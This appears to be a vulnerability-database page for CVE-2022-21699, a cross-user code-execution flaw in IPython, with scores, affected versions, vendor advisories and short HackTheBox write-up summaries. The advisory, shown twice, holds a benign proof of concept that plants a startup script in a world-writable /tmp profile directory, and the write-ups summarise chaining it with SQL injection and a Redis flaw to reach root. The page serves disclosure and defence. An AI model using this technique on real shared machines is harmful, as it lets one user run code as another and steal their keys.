CVE-2022-21699
published 2022-01-19CVE-2022-21699: IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming…
PriorityP348high8.8CVSS 3.1
AVLACLPRLUINSCCHIHAH
EPSS
0.66%
47.4th percentile
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
Affected
25 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | ipython | < ipython 7.31.1-1 (bookworm) | ipython 7.31.1-1 (bookworm) |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| ipython | ipython | < 5.11 | 5.11 |
| ipython | ipython | <= 5.10.0 | — |
| ipython | ipython | — | — |
| ipython | ipython | — | — |
| ipython | ipython | — | — |
| ipython | ipython | >= 0 < 7.20.0-1+deb11u1 | 7.20.0-1+deb11u1 |
| ipython | ipython | >= 0 < 7.31.1-1 | 7.31.1-1 |
| ipython | ipython | >= 0 < 7.31.1-1 | 7.31.1-1 |
| ipython | ipython | >= 0 < 7.31.1-1 | 7.31.1-1 |
| ipython | ipython | >= 0 < 5.11 | 5.11 |
| ipython | ipython | >= 0 < 1.2.1-2ubuntu0.1~esm1 | 1.2.1-2ubuntu0.1~esm1 |
| ipython | ipython | >= 0 < 5.5.0-1ubuntu0.1~esm1 | 5.5.0-1ubuntu0.1~esm1 |
| ipython | ipython | >= 0 < 7.13.0-1ubuntu0.1~esm1 | 7.13.0-1ubuntu0.1~esm1 |
| ipython | ipython | >= 6.0.0 < 7.16.3 | 7.16.3 |
| ipython | ipython | >= 6.0.0 < 7.16.3 | 7.16.3 |
| ipython | ipython | >= 7.17.0 < 7.31.1 | 7.31.1 |
| ipython | ipython | >= 7.17.0 < 7.31.1 | 7.31.1 |
| ipython | ipython | >= 8.0.0 < 8.0.1 | 8.0.1 |
| ipython | ipython | >= 8.0.0 < 8.0.1 | 8.0.1 |
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
osv8.8HIGH
vendor_ubuntu8.8HIGH
vendor_debian8.2HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
ipython vulnerabilities
osv·2023-03-15·CVSS 8.8
CVE-2015-5607 [HIGH] ipython vulnerabilities
ipython vulnerabilities
It was discovered that IPython incorrectly processed REST API POST requests.
An attacker could possibly use this issue to launch a cross-site request
forgery (CSRF) attack and leak user's sensitive information. This issue
only affected Ubuntu 14.04 ESM. (CVE-2015-5607)
It was discovered that IPython did not properly manage cross user temporary
files. A local attacker could possibly use this issue to execute arbitrary
code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM.
(CVE-2022-21699)
GHSA
Execution with Unnecessary Privileges in ipython
ghsa·2022-01-21
CVE-2022-21699 [HIGH] CWE-250 Execution with Unnecessary Privileges in ipython
Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
```
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```
User2:
```
cd /tmp
ipython
```
User2 will see:
```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```
## Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/vers
OSV
Execution with Unnecessary Privileges in ipython
osv·2022-01-21
CVE-2022-21699 [HIGH] Execution with Unnecessary Privileges in ipython
Execution with Unnecessary Privileges in ipython
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
```
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```
User2:
```
cd /tmp
ipython
```
User2 will see:
```
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
```
## Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/vers
OSV
CVE-2022-21699: IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python progr
osv·2022-01-19·CVSS 8.8
CVE-2022-21699 [HIGH] CVE-2022-21699: IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python progr
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
Ubuntu
IPython vulnerabilities
vendor_ubuntu·2023-03-15·CVSS 8.8
CVE-2015-5607 [HIGH] IPython vulnerabilities
Title: IPython vulnerabilities
Summary: Several security issues were fixed in IPython.
It was discovered that IPython incorrectly processed REST API POST requests.
An attacker could possibly use this issue to launch a cross-site request
forgery (CSRF) attack and leak user's sensitive information. This issue
only affected Ubuntu 14.04 ESM. (CVE-2015-5607)
It was discovered that IPython did not properly manage cross user temporary
files. A local attacker could possibly use this issue to execute arbitrary
code. This issue only affected Ubuntu 18.04 ESM and Ubuntu 20.04 ESM.
(CVE-2022-21699)
Instructions: In general, a standard system update will make all the necessary changes.
Debian
CVE-2022-21699: ipython - IPython (Interactive Python) is a command shell for interactive computing in mul...
vendor_debian·2022·CVSS 8.2
CVE-2022-21699 [HIGH] CVE-2022-21699: ipython - IPython (Interactive Python) is a command shell for interactive computing in mul...
IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.
Scope: local
bookworm: resolved (fixed in 7.31.1-1)
bullseye: resolved (fixed in 7.20.0-1+deb11u1)
forky: resolved (fixed in 7.31.1-1)
sid: resolved (fixed in 7.31.1-1)
trixie: resolved (fixed in 7.31.1-1)
No detection rules found.
No public exploits indexed.
CTF
Shared / README
ctf_writeups·CVSS 10.0
[CRITICAL] Shared / README
# Shared - HackTheBox - Writeup
Linux, 30 Base Points, Medium
## Machine
## TL;DR
To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```22```, ```80```, and ```443```.
***User***: Found subdomain ```checkout.shared.htb``` with SQLi vulnerability, Using SQLi we get the password MD5 hash of ```james_mason``` user, By running ```pspy64``` we found that ```dan_smith``` runs ```ipython``` from ```/opt/scripts_review``` directory (we can write to this directory), Using ```CVE-2022-21699``` we get the SSH private key of ```dan_smith``` user.
***Root***: Found the binary ```/usr/local/bin/redis_connector_dev```, Run it locally and we get the password of ```redis-cli```, Using ```CVE-2022-0543``` we get RCE as ```root```.
## Shared Solution
###
CTF
Shared / README
ctf_writeups·CVSS 8.2
[HIGH] Shared / README
# Shared
## Summary
Running an `nmap` scan finds SSH and a basic online shop powered by [PrestaShop](https://www.prestashop.com) at `https://shared.htb`. We add an item to the cart and try to checkout, which redirects us to `checkout.shared.htb`. The website knows which items are in our cart through a `custom_cart` cookie on the `shared.htb` domain. The cookie references the product code and the quantity that is in our cart. We manually perform a [SQL union injection attack](https://portswigger.net/web-security/sql-injection/union-attacks) on this cookie and read a username and password hash, which can be cracked using [CrackStation](https://crackstation.net/), from the database. With our credentials, we connect to the machine via SSH as the `james_mason` user.
Now that we are on the bo
https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5xhttps://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699https://lists.debian.org/debian-lts-announce/2022/01/msg00021.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK/https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5xhttps://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699https://lists.debian.org/debian-lts-announce/2022/01/msg00021.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CRQRTWHYXMLDJ572VGVUZMUPEOTPM3KB/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DZ7LVZBB4D7KVSFNEQUBEHFO3JW6D2ZK/
2022-01-19
Published